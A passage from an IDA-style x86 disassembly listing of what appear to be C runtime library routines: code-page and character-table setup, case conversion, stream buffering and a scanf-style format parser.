jmp short loc_4206A4
; ---------------------------------------------------------------------------
loc_420699: ; CODE XREF: sub_420680+9j
push ecx
push [ebp+arg_0]
call sub_41FE2A
pop ecx
pop ecx
loc_4206A4: ; CODE XREF: sub_420680+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_4206B1
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4206B1: ; CODE XREF: sub_420680+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_420680 endp
; =============== S U B R O U T I N E =======================================
sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap
; sub_41FF3F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_4206E3
mov esi, [esp+8+arg_C]
loc_4206C6: ; CODE XREF: sub_4206B5+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_420680
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4206E3
mov eax, edi
dec edi
test eax, eax
jg short loc_4206C6
loc_4206E3: ; CODE XREF: sub_4206B5+Bj
; sub_4206B5+25j
pop edi
pop esi
retn
sub_4206B5 endp
; =============== S U B R O U T I N E =======================================
sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p
; sub_41FF3F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_42071A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_4206FC: ; CODE XREF: sub_4206E6+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_420680
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_42071A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_4206FC
loc_42071A: ; CODE XREF: sub_4206E6+Cj
; sub_4206E6+2Bj
pop edi
pop esi
pop ebx
retn
sub_4206E6 endp
; =============== S U B R O U T I N E =======================================
sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p
; sub_41FF3F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_42071E endp
; =============== S U B R O U T I N E =======================================
sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_42072B endp
; =============== S U B R O U T I N E =======================================
sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_42073B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420749 proc near ; CODE XREF: sub_420B0D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_4208E2 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, dword_4DD164
mov [ebp+arg_0], esi
jz loc_4208D6
xor ebx, ebx
cmp esi, ebx
jz loc_4208CC
xor edx, edx
mov eax, offset dword_43D0B0
loc_42077D: ; CODE XREF: sub_420749+41j
cmp [eax], esi
jz short loc_4207F3
add eax, 30h
inc edx
cmp eax, offset dword_43D1A0
jl short loc_42077D
lea eax, [ebp+var_18]
push eax
push esi
call dword_42705C ; GetCPInfo
cmp eax, 1
jnz loc_4208C4
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD280
cmp [ebp+var_18], 1
mov dword_4DD164, esi
rep stosd
stosb
mov dword_4DD384, ebx
jbe loc_4208B2
cmp [ebp+var_12], 0
jz loc_420888
lea ecx, [ebp+var_11]
loc_4207D0: ; CODE XREF: sub_420749+139j
mov dl, [ecx]
test dl, dl
jz loc_420888
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_4207E1: ; CODE XREF: sub_420749+A8j
cmp eax, edx
ja loc_42087C
or byte_4DD281[eax], 4
inc eax
jmp short loc_4207E1
; ---------------------------------------------------------------------------
loc_4207F3: ; CODE XREF: sub_420749+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD280
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43D0C0[esi]
loc_42080F: ; CODE XREF: sub_420749+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_420842
loc_420816: ; CODE XREF: sub_420749+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_420842
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_42083B
mov edx, [ebp+var_4]
mov dl, byte_43D0A8[edx]
loc_420830: ; CODE XREF: sub_420749+F0j
or byte_4DD281[eax], dl
inc eax
cmp eax, edi
jbe short loc_420830
loc_42083B: ; CODE XREF: sub_420749+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_420816
loc_420842: ; CODE XREF: sub_420749+CBj
; sub_420749+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_42080F
mov eax, [ebp+arg_0]
mov dword_4DD17C, 1
push eax
mov dword_4DD164, eax
call sub_42092C
lea esi, dword_43D0B4[esi]
mov edi, offset dword_4DD170
movsd
movsd
pop ecx
mov dword_4DD384, eax
movsd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_42087C: ; CODE XREF: sub_420749+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_4207D0
loc_420888: ; CODE XREF: sub_420749+7Ej
; sub_420749+8Bj
push 1
pop eax
loc_42088B: ; CODE XREF: sub_420749+14Fj
or byte_4DD281[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_42088B
push esi
call sub_42092C
pop ecx
mov dword_4DD384, eax
mov dword_4DD17C, 1
jmp short loc_4208B8
; ---------------------------------------------------------------------------
loc_4208B2: ; CODE XREF: sub_420749+74j
mov dword_4DD17C, ebx
loc_4208B8: ; CODE XREF: sub_420749+167j
xor eax, eax
mov edi, offset dword_4DD170
stosd
stosd
stosd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_4208C4: ; CODE XREF: sub_420749+51j
cmp dword_4DBE5C, ebx
jz short loc_4208DA
loc_4208CC: ; CODE XREF: sub_420749+27j
call sub_42095F
loc_4208D1: ; CODE XREF: sub_420749+131j
; sub_420749+179j
call sub_420988
loc_4208D6: ; CODE XREF: sub_420749+1Dj
xor eax, eax
jmp short loc_4208DD
; ---------------------------------------------------------------------------
loc_4208DA: ; CODE XREF: sub_420749+181j
or eax, 0FFFFFFFFh
loc_4208DD: ; CODE XREF: sub_420749+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_420749 endp
; =============== S U B R O U T I N E =======================================
sub_4208E2 proc near ; CODE XREF: sub_420749+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DBE5C, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420902
mov dword_4DBE5C, 1
jmp dword_427054
; ---------------------------------------------------------------------------
loc_420902: ; CODE XREF: sub_4208E2+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420917
mov dword_4DBE5C, 1
jmp dword_427058
; ---------------------------------------------------------------------------
loc_420917: ; CODE XREF: sub_4208E2+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42092B
mov eax, dword_4DBEA4
mov dword_4DBE5C, 1
locret_42092B: ; CODE XREF: sub_4208E2+38j
retn
sub_4208E2 endp
; =============== S U B R O U T I N E =======================================
sub_42092C proc near ; CODE XREF: sub_420749+118p
; sub_420749+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_420959
sub eax, 4
jz short loc_420953
sub eax, 0Dh
jz short loc_42094D
dec eax
jz short loc_420947
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_420947: ; CODE XREF: sub_42092C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_42094D: ; CODE XREF: sub_42092C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_420953: ; CODE XREF: sub_42092C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_420959: ; CODE XREF: sub_42092C+9j
mov eax, 411h
retn
sub_42092C endp
; =============== S U B R O U T I N E =======================================
sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DD280
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DD170
mov dword_4DD164, eax
mov dword_4DD17C, eax
mov dword_4DD384, eax
stosd
stosd
stosd
pop edi
retn
sub_42095F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DD164
call dword_42705C ; GetCPInfo
cmp eax, 1
jnz loc_420AC1
xor eax, eax
mov esi, 100h
loc_4209B2: ; CODE XREF: sub_420988+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_4209B2
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420A03
push ebx
push edi
lea edx, [ebp+var_D]
loc_4209D1: ; CODE XREF: sub_420988+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_4209F8
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_4209F8: ; CODE XREF: sub_420988+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_4209D1
pop edi
pop ebx
loc_420A03: ; CODE XREF: sub_420988+42j
push 0
lea eax, [ebp+var_514]
push dword_4DD384
push dword_4DD164
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_4244F4
push 0
lea eax, [ebp+var_214]
push dword_4DD164
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DD384
call sub_4232A8
push 0
lea eax, [ebp+var_314]
push dword_4DD164
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DD384
call sub_4232A8
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_420A7E: ; CODE XREF: sub_420988+135j
mov dx, [ecx]
test dl, 1
jz short loc_420A9C
or byte_4DD281[eax], 10h
mov dl, [ebp+eax+var_214]
loc_420A94: ; CODE XREF: sub_420988+127j
mov byte_4DD180[eax], dl
jmp short loc_420AB8
; ---------------------------------------------------------------------------
loc_420A9C: ; CODE XREF: sub_420988+FCj
test dl, 2
jz short loc_420AB1
or byte_4DD281[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_420A94
; ---------------------------------------------------------------------------
loc_420AB1: ; CODE XREF: sub_420988+117j
and byte_4DD180[eax], 0
loc_420AB8: ; CODE XREF: sub_420988+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_420A7E
jmp short loc_420B0A
; ---------------------------------------------------------------------------
loc_420AC1: ; CODE XREF: sub_420988+1Dj
xor eax, eax
mov esi, 100h
loc_420AC8: ; CODE XREF: sub_420988+180j
cmp eax, 41h
jb short loc_420AE6
cmp eax, 5Ah
ja short loc_420AE6
or byte_4DD281[eax], 10h
mov cl, al
add cl, 20h
loc_420ADE: ; CODE XREF: sub_420988+174j
mov byte_4DD180[eax], cl
jmp short loc_420B05
; ---------------------------------------------------------------------------
loc_420AE6: ; CODE XREF: sub_420988+143j
; sub_420988+148j
cmp eax, 61h
jb short loc_420AFE
cmp eax, 7Ah
ja short loc_420AFE
or byte_4DD281[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_420ADE
; ---------------------------------------------------------------------------
loc_420AFE: ; CODE XREF: sub_420988+161j
; sub_420988+166j
and byte_4DD180[eax], 0
loc_420B05: ; CODE XREF: sub_420988+15Cj
inc eax
cmp eax, esi
jb short loc_420AC8
loc_420B0A: ; CODE XREF: sub_420988+137j
pop esi
leave
retn
sub_420988 endp
; =============== S U B R O U T I N E =======================================
sub_420B0D proc near ; CODE XREF: sub_42367B+9p
; sub_4236D3+Dp ...
cmp dword_4DD3B4, 0
jnz short locret_420B28
push 0FFFFFFFDh
call sub_420749
pop ecx
mov dword_4DD3B4, 1
locret_420B28: ; CODE XREF: sub_420B0D+7j
retn
sub_420B0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp
; sub_41C3B1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DD17C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_420B4D
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41BFD0
add esp, 0Ch
jmp short loc_420BB0
; ---------------------------------------------------------------------------
loc_420B4D: ; CODE XREF: sub_420B29+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_420B92
mov ecx, [ebp+arg_4]
loc_420B58: ; CODE XREF: sub_420B29+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DD281[esi], 4
mov [edi], al
jz short loc_420B7C
inc edi
inc ecx
test edx, edx
jz short loc_420B88
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_420B8E
jmp short loc_420B82
; ---------------------------------------------------------------------------
loc_420B7C: ; CODE XREF: sub_420B29+3Ej
inc edi
inc ecx
test al, al
jz short loc_420B92
loc_420B82: ; CODE XREF: sub_420B29+51j
test edx, edx
jnz short loc_420B58
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B88: ; CODE XREF: sub_420B29+44j
and byte ptr [edi-1], 0
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B8E: ; CODE XREF: sub_420B29+4Fj
and byte ptr [edi-2], 0
loc_420B92: ; CODE XREF: sub_420B29+2Aj
; sub_420B29+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_420BAD
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_420BAD: ; CODE XREF: sub_420B29+6Fj
mov eax, [ebp+arg_0]
loc_420BB0: ; CODE XREF: sub_420B29+22j
pop edi
pop ebp
retn
sub_420B29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE94, 0
push ebx
jnz short loc_420BDE
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_420C7C
cmp eax, 7Ah
jg loc_420C7C
sub eax, 20h
jmp loc_420C7C
; ---------------------------------------------------------------------------
loc_420BDE: ; CODE XREF: sub_420BB3+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420C11
cmp dword_43D094, 1
jle short loc_420BFE
push 2
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420C09
; ---------------------------------------------------------------------------
loc_420BFE: ; CODE XREF: sub_420BB3+3Dj
mov eax, off_43CE88
mov al, [eax+ebx*2]
and eax, 2
loc_420C09: ; CODE XREF: sub_420BB3+49j
test eax, eax
jnz short loc_420C11
loc_420C0D: ; CODE XREF: sub_420BB3+AFj
mov eax, ebx
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C11: ; CODE XREF: sub_420BB3+34j
; sub_420BB3+58j
mov edx, off_43CE88
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420C34
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_420C3D
; ---------------------------------------------------------------------------
loc_420C34: ; CODE XREF: sub_420BB3+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_420C3D: ; CODE XREF: sub_420BB3+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DBE94
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_420C0D
cmp eax, 1
jnz short loc_420C6F
movzx eax, [ebp+var_4]
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C6F: ; CODE XREF: sub_420BB3+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_420C7C: ; CODE XREF: sub_420BB3+14j
; sub_420BB3+1Dj ...
pop ebx
leave
retn
sub_420BB3 endp
; =============== S U B R O U T I N E =======================================
sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp
; sub_41DC5E+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DBDF0, ecx
mov eax, offset dword_43D1A0
loc_420C90: ; CODE XREF: sub_420C7F+1Ej
cmp ecx, [eax]
jz short loc_420CB4
add eax, 8
inc edx
cmp eax, offset dword_43D308
jl short loc_420C90
cmp ecx, 13h
jb short loc_420CC1
cmp ecx, 24h
ja short loc_420CC1
mov dword_4DBDEC, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420CB4: ; CODE XREF: sub_420C7F+13j
mov eax, dword_43D1A4[edx*8]
mov dword_4DBDEC, eax
retn
; ---------------------------------------------------------------------------
loc_420CC1: ; CODE XREF: sub_420C7F+23j
; sub_420C7F+28j
cmp ecx, 0BCh
jb short loc_420CDB
cmp ecx, 0CAh
mov dword_4DBDEC, 8
jbe short locret_420CE5
loc_420CDB: ; CODE XREF: sub_420C7F+48j
mov dword_4DBDEC, 16h
locret_420CE5: ; CODE XREF: sub_420C7F+5Aj
retn
sub_420C7F endp
; =============== S U B R O U T I N E =======================================
sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_42463D
test eax, eax
pop ecx
jz short loc_420D6F
cmp esi, offset dword_43D598
jnz short loc_420D04
xor eax, eax
jmp short loc_420D0F
; ---------------------------------------------------------------------------
loc_420D04: ; CODE XREF: sub_420CE6+18j
cmp esi, offset dword_43D5B8
jnz short loc_420D6F
push 1
pop eax
loc_420D0F: ; CODE XREF: sub_420CE6+1Cj
inc dword_4DBFBC
test word ptr [esi+0Ch], 10Ch
jnz short loc_420D6F
cmp dword_4DBE60[eax*4], 0
push ebx
push edi
lea edi, ds:4DBE60h[eax*4]
mov ebx, 1000h
jnz short loc_420D55
push ebx
call sub_41BEB5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_420D55
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_420D62
; ---------------------------------------------------------------------------
loc_420D55: ; CODE XREF: sub_420CE6+4Dj
; sub_420CE6+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_420D62: ; CODE XREF: sub_420CE6+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D6F: ; CODE XREF: sub_420CE6+10j
; sub_420CE6+24j ...
xor eax, eax
pop esi
retn
sub_420CE6 endp
; =============== S U B R O U T I N E =======================================
sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_420D9D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_420DAE
push esi
call sub_41E42B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D9D: ; CODE XREF: sub_420D73+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_420DAE
push eax
call sub_41E42B
pop ecx
loc_420DAE: ; CODE XREF: sub_420D73+10j
; sub_420D73+32j
pop esi
retn
sub_420D73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_4217B6
mov edi, [ebp+arg_0]
jmp short loc_420DDF
; ---------------------------------------------------------------------------
loc_420DDA: ; CODE XREF: sub_420DB0+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_420DDF: ; CODE XREF: sub_420DB0+28j
cmp dword_43D094, 1
jle short loc_420DF7
movzx eax, al
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420E06
; ---------------------------------------------------------------------------
loc_420DF7: ; CODE XREF: sub_420DB0+36j
mov ecx, off_43CE88
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420E06: ; CODE XREF: sub_420DB0+45j
cmp eax, ebx
jz short loc_420E40
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_42183D
pop ecx
pop ecx
push eax
call sub_421826
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
add esp, 0Ch
loc_420E2E: ; CODE XREF: sub_420DB0+8Ej
test eax, eax
jz short loc_420E40
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
pop ecx
jmp short loc_420E2E
; ---------------------------------------------------------------------------
loc_420E40: ; CODE XREF: sub_420DB0+58j
; sub_420DB0+80j
cmp byte ptr [esi], 25h
jnz loc_421722
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_420E77: ; CODE XREF: sub_420DB0+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43D094, 1
jle short loc_420E94
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420EA3
; ---------------------------------------------------------------------------
loc_420E94: ; CODE XREF: sub_420DB0+D3j
mov ecx, off_43CE88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420EA3: ; CODE XREF: sub_420DB0+E2j
test eax, eax
jz short loc_420EB9
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EB9: ; CODE XREF: sub_420DB0+F5j
cmp ebx, 4Eh
jg short loc_420EFC
jz short loc_420F1E
cmp ebx, 2Ah
jz short loc_420EF7
cmp ebx, 46h
jz short loc_420F1E
cmp ebx, 49h
jz short loc_420ED9
cmp ebx, 4Ch
jnz short loc_420F0B
inc [ebp+var_D]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420ED9: ; CODE XREF: sub_420DB0+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_420F0B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_420F0B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EF7: ; CODE XREF: sub_420DB0+113j
inc [ebp+var_E]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EFC: ; CODE XREF: sub_420DB0+10Cj
cmp ebx, 68h
jz short loc_420F18
cmp ebx, 6Ch
jz short loc_420F10
cmp ebx, 77h
jz short loc_420F13
loc_420F0B: ; CODE XREF: sub_420DB0+122j
; sub_420DB0+12Dj ...
inc [ebp+var_F]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F10: ; CODE XREF: sub_420DB0+154j
inc [ebp+var_D]
loc_420F13: ; CODE XREF: sub_420DB0+159j
inc [ebp+var_5]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F18: ; CODE XREF: sub_420DB0+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_420F1E: ; CODE XREF: sub_420DB0+107j
; sub_420DB0+10Ej ...
cmp [ebp+var_F], 0
jz loc_420E77
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_420F43
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_420F43: ; CODE XREF: sub_420DB0+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_420F61
mov al, [esi]
cmp al, 53h
jz short loc_420F5D
cmp al, 43h
jz short loc_420F5D
or [ebp+var_5], 0FFh
jmp short loc_420F61
; ---------------------------------------------------------------------------
loc_420F5D: ; CODE XREF: sub_420DB0+1A1j
; sub_420DB0+1A5j
mov [ebp+var_5], 1
loc_420F61: ; CODE XREF: sub_420DB0+19Bj
; sub_420DB0+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_420F9A
cmp esi, 63h
jz short loc_420F8B
cmp esi, 7Bh
jz short loc_420F8B
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_42183D
pop ecx
jmp short loc_420F96
; ---------------------------------------------------------------------------
loc_420F8B: ; CODE XREF: sub_420DB0+1C5j
; sub_420DB0+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
loc_420F96: ; CODE XREF: sub_420DB0+1D9j
pop ecx
mov [ebp+var_14], eax
loc_420F9A: ; CODE XREF: sub_420DB0+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_420FAA
cmp [ebp+var_C], eax
jz loc_421786
loc_420FAA: ; CODE XREF: sub_420DB0+1EFj
cmp esi, 6Fh
jg loc_421211
jz loc_4214C3
cmp esi, 63h
jz loc_4211EE
cmp esi, 64h
jz loc_4214C3
jle loc_42123B
cmp esi, 67h
jle short loc_42100E
cmp esi, 69h
jz short loc_420FF6
cmp esi, 6Eh
jnz loc_42123B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_4216F1
jmp loc_421717
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420DB0+229j
push 64h
pop esi
loc_420FF9: ; CODE XREF: sub_420DB0+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_421283
mov [ebp+var_17], 1
jmp loc_421288
; ---------------------------------------------------------------------------
loc_42100E: ; CODE XREF: sub_420DB0+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42102A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42102F
; ---------------------------------------------------------------------------
loc_42102A: ; CODE XREF: sub_420DB0+26Aj
cmp ebx, 2Bh
jnz short loc_421046
loc_42102F: ; CODE XREF: sub_420DB0+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_421049
; ---------------------------------------------------------------------------
loc_421046: ; CODE XREF: sub_420DB0+27Dj
mov edi, [ebp+arg_0]
loc_421049: ; CODE XREF: sub_420DB0+294j
cmp [ebp+var_20], 0
jz short loc_421058
cmp [ebp+var_C], 15Dh
jle short loc_42105F
loc_421058: ; CODE XREF: sub_420DB0+29Dj
